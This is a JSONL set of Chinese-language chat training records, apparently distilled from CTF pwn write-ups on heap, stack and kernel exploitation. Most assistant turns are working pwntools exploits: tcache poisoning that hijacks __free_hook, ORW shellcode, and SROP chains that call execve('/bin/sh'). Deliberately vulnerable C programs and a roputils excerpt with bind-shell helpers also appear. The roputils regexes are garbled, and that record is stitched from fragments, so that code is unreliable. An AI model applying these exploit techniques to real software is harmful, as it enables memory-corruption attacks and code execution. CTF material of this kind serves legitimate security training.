{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e88d6cc132517a618b70", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「利用思路」。\n资料来源：Heap/tcache attack/2025das rcms/wp.md；主题：2025das rcms；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 利用思路\n\n思路：\n\n- uaf泄露libc地址\n- 泄露堆地址，利用泄露出来的堆地址计算出gift函数地址，绕过pie保护\n- tcachebin attack修改fd指针，指向 free_hook指针；\n- 劫持__free_hook为gift。\n- 调用delet函数时会执行gift。\n- 构造orw shellcode，读出flag。\n\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('pwn')\nio=process(elf.path)\nlibc=ELF(\"/tools/binary/pwn/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6\")\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\ncontext.terminal = ['cmd.exe', '/c', 'start', '\"\"', 'wt.exe', 'wsl', '-e', 'bash', '-lc']\n\ndef choice(c):\n    io.recvuntil('5.exit')\n    io.sendline(str(c))\n\ndef add(index,size,cmd):\n    choice(1)\n    io.recvuntil(':')\n    io.sendline(str(index))\n    io.recvuntil(':')\n    io.sendline(str(size))\n    io.recvuntil(':')\n    io.send(cmd)\n\ndef delet(index):\n    choice(2)\n    io.recvuntil(':')\n    io.sendline(str(index))\n\ndef change(index,cmd):\n    choice(3)\n    io.recvuntil(':')\n    io.sendline(str(index))\n    io.recvuntil(':')\n    io.send(cmd)\n\ndef show(index):\n    choice(4)\n    io.recvuntil(':')\n    io.sendline(str(index))\n\n\nadd(0,0x420,'AA')\nadd(1,0x60,'BB')\nadd(2,0x60,'CC')\nadd(3,0x60,'DD')\n\ndelet(0)\n\nadd(4,0x420,'A')\n\nshow(4)\nlibc_addr = u64(io.recvuntil(b'\\x7f').ljust(8,b'\\x00')) >> 8\nlibc_base = libc_addr - 0x3ebc41\nfree_hook = libc_base + libc.sym['__free_hook']\n\ndelet(1)\ndelet(2)\n\nshow(2)\n\nio.recvline()\nheap_addr = u64(io.recv(6).ljust(8,b'\\x00'))\n\nsuccess('heap_addr = '+hex(heap_addr))\ntarget_addr = heap_addr - 0x1470\nsuccess('target_addr = '+hex(target_addr))\n\nchange(2,p64(target_addr))\n\nadd(5,0x60,'QQQ')\n\nadd(6,0x60,'\\n')\n\nshow(6)\n\nio.recvline()\nelf_addr = u64(io.recv(6).ljust(8,b'\\x00'))\nsuccess('elf_addr = '+hex(elf_addr))\ngift_addr = elf_addr + 0xce\nsuccess('gift_addr = '+hex(gift_addr))\n\ndelet(5)\n\nchange(5,p64(free_hook))\n\nadd(7,0x60,'A')\nadd(8,0x60,p64(gift_addr))\n\ndelet(7)\n\n\nru('?')\n\nshellcode = '''\nmov r15, 0x67616c662f2e\npush r15\nmov rdi, rsp\nmov rsi, 0\nmov rax, 2\nsyscall\nmov r14, 3\nmov rdi, r14\nmov rsi, rsp\nmov rdx, 0xff\nmov rax, 0\nsyscall\nmov rdi,1\nmov rsi, rsp\nmov rdx, 0x30\nmov rax, 1\nsyscall\n'''\n\nsl(asm(shellcode))\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-a2f3bafd65a41d4a", "original_line": 122, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/2025das rcms/wp.md", "split": "train", "split_group_key": "59f3ba382481283cea9566eb"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/2025das rcms/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e8cd46691c8324be84df", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「源码」。\n资料来源：Heap/tcache attack/tcache key/readme.md；主题：2.33堆申请规则；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 源码\n\n```c\n#include\n#include\nchar *heaparray[24];\nint num=0;\nvoid init()\n{\n  setvbuf(stdin, 0LL, 2, 0LL);\n  setvbuf(stdout, 0LL, 2, 0LL);\n  setvbuf(stderr, 0LL, 2, 0LL);\n\n}\nvoid create_heap() {\n  int i;\n  for (i = 0; i < 24; i++) {\n    if (!heaparray[i]) {\n      heaparray[i] = (char *)malloc(0x90);\n      if (!heaparray[i]) {\n        puts(\"error\");\n        exit(2);\n      }\n      puts(\"over\\n\");\n      num++;\n      break;\n    }\n  }\n}\nvoid delete_heap() {\n  int idx;\n  char buf[4];\n  puts(\"idx\");\n  read(0, buf, 4);\n  idx = atoi(buf);\n  if (idx < 0 || idx >= 24) {\n    puts(\"error\");\n    exit(0);\n  }\n  if (heaparray[idx]) {\n    free(heaparray[idx]);\n    puts(\"over\\n\");\n    num--;\n  } else {\n    puts(\"error\\n\");\n  }\n}\nvoid show_item() {\n  int i;\n  int idx;\n  char buf[4];\n  puts(\"idx\");\n    (read(0, buf, 4));\n    idx = atoi(buf);\n  if (!heaparray[idx]) {\n    puts(\"no hvae things\\n\");\n  } else {\n    printf(\"Content:\");\n    printf(\"%s\",heaparray[idx]);\n  }\n}\nvoid edit_item(){\n  int i;\n  int idx;\n  char buf[4];\n  puts(\"idx\");\n    (read(0, buf, 4));\n    idx = atoi(buf);\n  if (!heaparray[idx]) {\n    puts(\"no hvae things\\n\");\n  } else {\n    puts(\"Content:\");\n    read(0,heaparray[idx], 0x90);\n  }\n}\nvoid menu()\n{\n        puts(\"1. Get a page\");\n        puts(\"2. Take out\");\n        puts(\"3. Read page\");\n        puts(\"4. edit a page\");\n}\nvoid main()\n{\n  init();\n  int i;\n  while(1)\n  {\n    menu();\n    scanf(\"%d\",&i);\n    switch(i)\n    {\n      case 1:create_heap();break;\n      case 2:delete_heap();break;\n      case 3:show_item();break;\n      case 4:edit_item();break;\n      default:puts(\"error\");break;\n    }\n  }\n}\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-7b607717416b8178", "original_line": 147, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/tcache key/readme.md", "split": "train", "split_group_key": "8f91d2829ff8491636d81931"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/tcache key/readme.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e9ed523160a0df7be7c4", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/tcache attack/tcache dup/pwn.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/tcache attack/tcache dup/pwn.c`\n\n分类：heap\n\n语言：c\n\n环境/依赖线索：\n- `#include`\n- `#include `\n- `#include `\n\n函数/封装：\n- `add_chunk`\n- `delete_chunk`\n- `edit_chunk`\n- `get_num`\n- `main`\n- `menu`\n- `show_chunk`\n\n利用主题关键词：\n- heap/tcache\n- seccomp/orw\n\n关键常量/偏移样例：\n`0x100`\n\n训练用代码片段：\n```c\n#include\n#include \n#include \n\nchar *chunk_list[0x100];\n\nvoid menu() {\n    puts(\"1. add chunk\");\n    puts(\"2. delete chunk\");\n    puts(\"3. edit chunk\");\n    puts(\"4. show chunk\");\n    puts(\"5. exit\");\n    puts(\"choice:\");\n}\n\nint get_num() {\n    char buf[0x10];\n    read(0, buf, sizeof(buf));\n    return atoi(buf);\n}\n\nvoid add_chunk() {\n    puts(\"index:\");\n    int index = get_num();\n    puts(\"size:\");\n    int size = get_num();\n    chunk_list[index] = malloc(size);\n}\n\nvoid delete_chunk() {\n    puts(\"index:\");\n    int index = get_num();\n    free(chunk_list[index]);\n}\n\nvoid edit_chunk() {\n    puts(\"index:\");\n    int index = get_num();\n    puts(\"length:\");\n    int length = get_num();\n    puts(\"content:\");\n    read(0, chunk_list[index], length);\n}\n\nvoid show_chunk() {\n    puts(\"index:\");\n    int index = get_num();\n    puts(chunk_list[index]);\n}\n\nint main() {\n    setbuf(stdin, NULL);\n    setbuf(stdout, NULL);\n    setbuf(stderr, NULL);\n\n    while (1) {\n        menu();\n        switch (get_num()) {\n            case 1:\n                add_chunk();\n                break;\n            case 2:\n                delete_chunk();\n                break;\n            case 3:\n                edit_chunk();\n                break;\n            case 4:\n                show_chunk();\n                break;\n            case 5:\n                exit(0);\n            default:\n                puts(\"invalid choice.\");\n        }\n    }\n}\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-331ad5118995972e", "original_line": 34, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/tcache dup/pwn.c", "split": "train", "split_group_key": "fba9216dd614afc0721e9ac2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/tcache dup/pwn.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ea62466e7b100624427e", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「原理」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 原理\n\ncalloc 申请内存不会从 tcache 中获取，而是从 fast bin 中获取。取完后，会将 fast bin 中的 chunk 放入 tcache 中。如果修改 fast bin 中 chunk 的 fd 指针，则会在 fd + 0x10 地址处写入一个较大的值。\n\n利用思路：\n\n申请八个相同大小的chunk，使得chunk8进入fastbin\n\nmalloc申请出chunk1为target在tcache留出空间，修改chunk8的fd指针为target-0x10构成fake chunk\n\ncalloc 申请出 chunk8，fake chunk 进入tcache，target 被写入 chunk2 的地址\n\n如果是使用 malloc 可以先消耗完 tcache 中的 chunk 然后再触发 stash 机制完成攻击。不过为了防止 target 的 fd 指向无效地址，需要在 fast bin 中预留另外 6 个 chunk 来填满 tcache 。\n\n```python\nfrom pwn import *\n\nelf = ELF(\"./pwn\")\nlibc = ELF(\"./libc.so.6\")\ncontext(arch=elf.arch, os=elf.os)\ncontext.log_level = 'debug'\n\np = process([elf.path])\n\ndef add_chunk(index, size):\n    p.sendafter(\"choice:\", \"1\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"size:\", str(size))\n\ndef delete_chunk(index):\n    p.sendafter(\"choice:\", \"2\")\n    p.sendafter(\"index:\", str(index))\n\ndef edit_chunk(index, content):\n    p.sendafter(\"choice:\", \"3\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"length:\", str(len(content)))\n    p.sendafter(\"content:\", content)\n\ndef show_chunk(index):\n    p.sendafter(\"choice:\", \"4\")\n    p.sendafter(\"index:\", str(index))\n\nadd_chunk(0, 0x410)\nadd_chunk(1, 0x10)\ndelete_chunk(0)\nadd_chunk(0, 0x410)\nshow_chunk(0)\nlibc.address = u64(p.recvuntil('\\x7F')[-6:].ljust(8, '\\x00')) - 0x3b6be0\ninfo(\"libc base: \" + hex(libc.address))\nfor i in range(14): add_chunk(i, 0x50)\nfor i in range(14): delete_chunk(i)\nadd_chunk(0, 0x50)\ndelete_chunk(7)\nadd_chunk(7, 0x50)\nedit_chunk(7, p64(libc.sym['__free_hook'] - 0x10))\nfor i in range(1, 7): add_chunk(i, 0x50)\nadd_chunk(7, 0x50)\nadd_chunk(7, 0x50)\nedit_chunk(7, p64(libc.sym['system']))\nedit_chunk(0,'/bin/sh\\x00')\ndelete_chunk(0)", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-c2d93c1f8d962b05", "original_line": 98, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-eb18d698d1c4321d20fb", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「例题」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 例题\n\n> NewStar 2023 srop\n\nvuln 函数存在一个很大的溢出。\n\n[图片: image]\n\n存在将`rax`寄存器置为`0xf`的gadget。\n\n[图片: image]\n\n目前的 pwntools 中已经集成了对于 srop 的攻击。\n\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('pwn')\nio = process([elf.path])\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\ncontext.terminal = ['cmd.exe', '/c', 'start', '\"\"', 'wt.exe', 'wsl', '-e', 'bash', '-lc']\n\npop_rdi = 0x0000000000401203\n\nbss = 0x404800\npay = b'\\x00'*0x30 + flat(bss, 0x401171)\ns(pay.ljust(0x300, b'\\x00'))\n\nsyscall = 0x401040\n#read /bin/sh\nsh = 0x404800\nframe = SigreturnFrame()\nframe.rax = 0\nframe.rdi = 59\nframe.rsi = bss - 0x10\nframe.rdx = 0\nframe.rsp = bss - 0x40\nframe.rip = syscall\n\npay = b\"/bin/sh\\x00\"*6 + flat(0x404f00,pop_rdi,15,syscall,frame)\n\nr()\ns(pay.ljust(0x300,b\"\\x00\"))\n\nia()\n\n```\n\n>rootersctf_2019_srop\n\nsrop链\n\ncheck 一下保护，只开启了 NX。\n\n```python\n    Arch:       amd64-64-little\n    RELRO:      No RELRO\n    Stack:      No canary found\n    NX:         NX enabled\n    PIE:        No PIE (0x400000)\n```\n\n[图片: image]\n\n调用了一个 sub_401000 之后，系统调用 exit 退出。\n\n跟进：\n\n程序先用 write 打印字符，然后再通过 read 读取数据，存在栈溢出。\n\n[图片: image]\n\nbuf 位于 data 段，可以被写入数据。\n\n[图片: image]\n\n这里无法泄露栈地址，所以只能通过构造 srop 链的方式来利用。\n\n利用思路：先构造一个伪造的栈空间将 /bin/sh 写入 data 段，之后再进行一次 srop 调用 execve 从而 getshell。\n\n+ exp\n\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('rootersctf_2019_srop')\nio = process([elf.path])\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\ncontext.terminal = ['cmd.exe', '/c', 'start', '\"\"', 'wt.exe', 'wsl', '-e', 'bash', '-lc']\n\nsyscall_ret=0x0000000000401033\npop_syscall=0x0000000000401032\nbuf=0x0000000000402000\n\n#fake stack\nsigFrame=SigreturnFrame()\nsigFrame.rax=0\nsigFrame.rdi=0\nsigFrame.rbp=buf+0x20\nsigFrame.rsi=buf\nsigFrame.rdx=0x1000\nsigFrame.rip=syscall_ret\n\nru('?')\npl=b'a'*0x88+p64(pop_syscall)+p64(15)+bytes(sigFrame)\nsl(pl)\n\nsigFrame=SigreturnFrame()\nsigFrame.rax=59\nsigFrame.rdi=buf\nsigFrame.rsi=0\nsigFrame.rdx=0\nsigFrame.rip=syscall_ret\n\npl2=b'/bin/sh\\00'\npl2=pl2.ljust(0x28,b'A')\npl2 += p64(pop_syscall)+p64(15)+bytes(sigFrame)\nsl(pl2)\nia()\n```\n\n> [V&N2020 公开赛]babybabypwn\n\norw+srop\n\ncheck 一下保护，发现保护全开\n\n```python\n    Arch:       amd64-64-little\n    RELRO:      Full RELRO\n    Stack:      Canary found\n    NX:         NX enabled\n    PIE:        PIE enabled\n```\n\n并且程序通过沙盒仅用了大量的系统调用导致无法通过 getshell 来利用，所以只能通过 orw 的形式来利用。\n\n```python\n❯ seccomp-tools dump ./vn_pwn_babybabypwn_1\n line  CODE  JT   JF      K\n=================================\n 0000: 0x20 0x00 0x00 0x00000004  A = arch\n 0001: 0x15 0x00 0x0d 0xc000003e  if (A != ARCH_X86_64) goto 0015\n 0002: 0x20 0x00 0x00 0x00000000  A = sys_number\n 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005\n 0004: 0x15 0x00 0x0a 0xffffffff  if (A != 0xffffffff) goto 0015\n 0005: 0x15 0x09 0x00 0x00000009  if (A == mmap) goto 0015\n 0006: 0x15 0x08 0x00 0x0000000a  if (A == mprotect) goto 0015\n 0007: 0x15 0x07 0x00 0x00000029  if (A == socket) goto 0015\n 0008: 0x15 0x06 0x00 0x0000002a  if (A == connect) goto 0015\n 0009: 0x15 0x05 0x00 0x00000031  if (A == bind) goto 0015\n 0010: 0x15 0x04 0x00 0x00000032  if (A == listen) goto 0015\n 0011: 0x15 0x03 0x00 0x00000038  if (A == clone) goto 0015\n 0012: 0x15 0x02 0x00 0x00000039  if (A == fork) goto 0015\n 0013: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0015\n 0014: 0x06 0x00 0x00 0x7fff0000  return ALLOW\n 0015: 0x06 0x00 0x00 0x00000000  return KILL\n```\n\n分析程序：\n\n[图片: image]\n\n主要代码逻辑：\n\n泄露了 puts 的地址，然后 read 读取一段数据，但是不存在溢出。\n\n[图片: image]\n\n最后的 syscall(15) 就是：\n\n```python\nmov     edi, 0Fh\nmov     eax, 0\ncall    _syscall\n```\n\n利用思路：接受 puts 地址从而计算 libc 基址，然后通过 sigFrame 伪造一个 fake_stack，之后再进行栈溢出从而 orw。\n\n```python\nfrom pwn import *\ncontext.log_level='debug'\ncontext.arch='amd64'\n\np=process('./pwn')\nelf = ELF('./pwn')\nlibc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n\ns       = lambda data               :p.send(data)\nss      = lambda data               :p.send(str(data))\nsa      = lambda delim,data         :p.sendafter(str(delim), str(data))\nsl      = lambda data               :p.sendline(data)\nsls     = lambda data               :p.sendline(str(data))\nsla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))\nr       = lambda num                :p.recv(num)\nru      = lambda delims, drop=True  :p.recvuntil(delims, drop)\nitr     = lambda                    :p.interactive()\nuu32    = lambda data               :u32(data.ljust(4,b'\\x00'))\nuu64    = lambda data               :u64(data.ljust(8,b'\\x00'))\nleak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))\nl64     = lambda      :u64(p.recvuntil(\"\\x7f\")[-6:].ljust(8,b\"\\x00\"))\nl32     = lambda      :u32(p.recvuntil(\"\\xf7\")[-4:].ljust(4,b\"\\x00\"))\ncontext.terminal = ['gnome-terminal','-x','sh','-c']\ndef dbg():\n    gdb.attach(p,'b *$rebase(0x13aa)')\n    pause()\n\n\nru('gift: ')\nputs=int(r(14),16)\nleak('puts',puts)\n\nlibcbase=puts-libc.symbols['puts']\nleak('libcbase',libcbase)\n\nopen_addr=libcbase+libc.symbols['open']\nleak('open_addr',open_addr)\n\nread_addr=libcbase+libc.symbols['read']\nleak('read_addr',read_addr)\n\nwrite_addr=libcbase+libc.symbols['write']\nleak('write_addr',write_addr)\n\nbss=libcbase+libc.bss()\nleak('bss',bss)\n\nrdi_ret=libcbase+0x0000000000021112\nleak('rdi_ret',rdi_ret)\nrsi_ret=libcbase+0x00000000000202f8\nleak('rsi_ret',rsi_ret)\nrdx_ret=libcbase+0x0000000000001b92\nleak('rdx_ret',rdx_ret)\n\nbuf_addr=bss+0x400\n\nsigFrame=SigreturnFrame()\nsigFrame.rdi=0\nsigFrame.rip=read_addr\nsigFrame.rsi=buf_addr\nsigFrame.rdx=0x200\nsigFrame.rsp=buf_addr\npl=str(sigFrame)[8:]\n\n\np.sendlineafter('Please input magic message: ',pl)\ngdb.attach(p)\npause()\n\nflag=buf_addr+0x98\n\n\npl1=p64(rdi_ret)+p64(flag)+p64(rsi_ret)+p64(0)+p64(open_addr) #open\npl1+=p64(rdi_ret)+p64(3)+p64(rsi_ret)+p64(bss+0x200)+p64(rdx_ret)+p64(0x100)+p64(read_addr) #read\npl1+=p64(rdi_ret)+p64(1)+p64(rsi_ret)+p64(bss+0x200)+p64(rdx_ret)+p64(0x100)+p64(write_addr) #write\npl1+='flag\\00'\n\ns(pl1)\n\np.interactive()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-83fbe841e703285e", "original_line": 603, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-eb3dd86ee6fe800ec819", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2dlresolve/2015-xdctf-pwn200/roputils.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2dlresolve/2015-xdctf-pwn200/roputils.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `import sys`\n- `import os`\n- `import re`\n- `import struct`\n- `import socket`\n- `import select`\n- `import random`\n- `import tempfile`\n- `from subprocess import Popen, PIPE`\n- `from threading import Thread, Event`\n- `from telnetlib import Telnet`\n- `from contextlib import contextmanager`\n\n函数/封装：\n- `Asm`\n- `ELF`\n- `FormatStr`\n- `Pattern`\n- `Proc`\n- `ROP`\n- `ROP_ARM`\n- `ROP_I386`\n- `ROP_X86_64`\n- `Shellcode`\n- `__init__`\n- `_f`\n- `addr`\n- `align`\n- `alnum_stager`\n- `assemble`\n- `bind_shell`\n- `calc_offset`\n- `call`\n- `call_chain`\n\n利用主题关键词：\n- io-file/fsop\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x100`, `0x1c8`, `0xFFFF`, `0x10000`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python\n\nimport sys\nimport os\nimport re\nimport struct\nimport socket\nimport select\nimport random\nimport tempfile\nfrom subprocess import Popen, PIPE\nfrom threading import Thread, Event\nfrom telnetlib import Telnet\nfrom contextlib import contextmanager\n\n\ndef int16(x):\n    if isinstance(x, (list, tuple)):\n        return [int(n, 16) for n in x]\n    else:\n        return int(x, 16)\n\n\ndef p32(x):\n    if isinstance(x, str):\n        return struct.unpack('[^\\]]+)\\]\\s+(?P\\S+)\\s+(?P\\S+)\\s+(?P
\\S+)\\s+(?P\\S+)\\s+(?P\\S+)\\s+(?P\\S+)\\s+(?P\\S+)\\s+(?P\\S+)\\s+(?P\\S+)\\s+(?P\\S+)$',\n            'program':\n            r'^\\s*(?P\\S+)\\s+(?P\\S+)\\s+(?P\\S+)\\s+(?P\\S+)\\s+(?P\\S+)\\s+(?P\\S+)\\s+(?P.{3})\\s+(?P\\S+)$',\n            'dynamic':\n            r'^\\s*(?P\\S+)\\s+\\((?P[^)]+)\\)\\s+(?P.+)$',\n            'reloc':\n            r'^\\s*(?P\\S+)\\s+(?P\\S+)\\s+(?P\\S+)\\s+(?P\\S+)\\s+(?P\\S+)(?: \\+ (?P\\S+))?$',\n            'symbol':\n            r'^\\s*(?P[^:]+):\\s+(?P\\S+)\\s+(?P\\S+)\\s+(?P\\S+)\\s+(?P\\S+)\\s+(?P\\S+)\\s+(?P\\S+)\\s+(?P\\S+)',\n            'string':\n            r'([\\s\\x21-\\x7e]{4,})\\x00',\n        }\n        plt_size_map = {\n            'i386': (0x10, 0x10),\n            'x86-64': (0x10, 0x10),\n            'arm': (0x14, 0xc),\n\n# ... 中间内容省略，保留关键利用片段 ...\n\nclass Shellcode(object):\n            raise Exception(\"unsupported shellcode for %s architecture: %r\" %\n        with tempfile.NamedTemporaryFile(delete=False) as f:\n                \"output shellcode as hexstring\\n\\nUsage: python %s sc ARCH/NAME [ARG...]\"\n        s = getattr(Shellcode(arch), name).__call__(*args)\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-51074d74431ad868", "original_line": 527, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/2015-xdctf-pwn200/roputils.py", "split": "train", "split_group_key": "0d458f7e497a27e5ef7f33c7"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/2015-xdctf-pwn200/roputils.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ebc6bb53b2bc3d803758", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「Why it does not directly solve pro」。\n资料来源：Kernel/2026d3ctf-d3kheap2pro/WEB_REFERENCE_NOTES.md；主题：Internet reference notes for d3kheap2pro；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## Why it does not directly solve pro\n\nThe author writeup notes the original challenge did not enable `CONFIG_SLAB_BUCKETS` and even mentions forgetting `CONFIG_MEMCG`. This pro kernel has both plus `CONFIG_RANDOM_KMALLOC_CACHES`, which changes the reclaim assumptions.\n\nLocal config confirms:\n\n```text\nCONFIG_MEMCG=y\nCONFIG_SLAB_BUCKETS=y\nCONFIG_RANDOM_KMALLOC_CACHES=y\n```\n\nTherefore the public `msg_msg -> pipe_buffer` precision chain is a reference, not a drop-in solve.", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-20ad09b016d39a89", "original_line": 375, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/WEB_REFERENCE_NOTES.md", "split": "train", "split_group_key": "3142a1c55fbb73a0f35ddf74"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/WEB_REFERENCE_NOTES.md", "split": "train", "type": "ctf_lora_sft"}
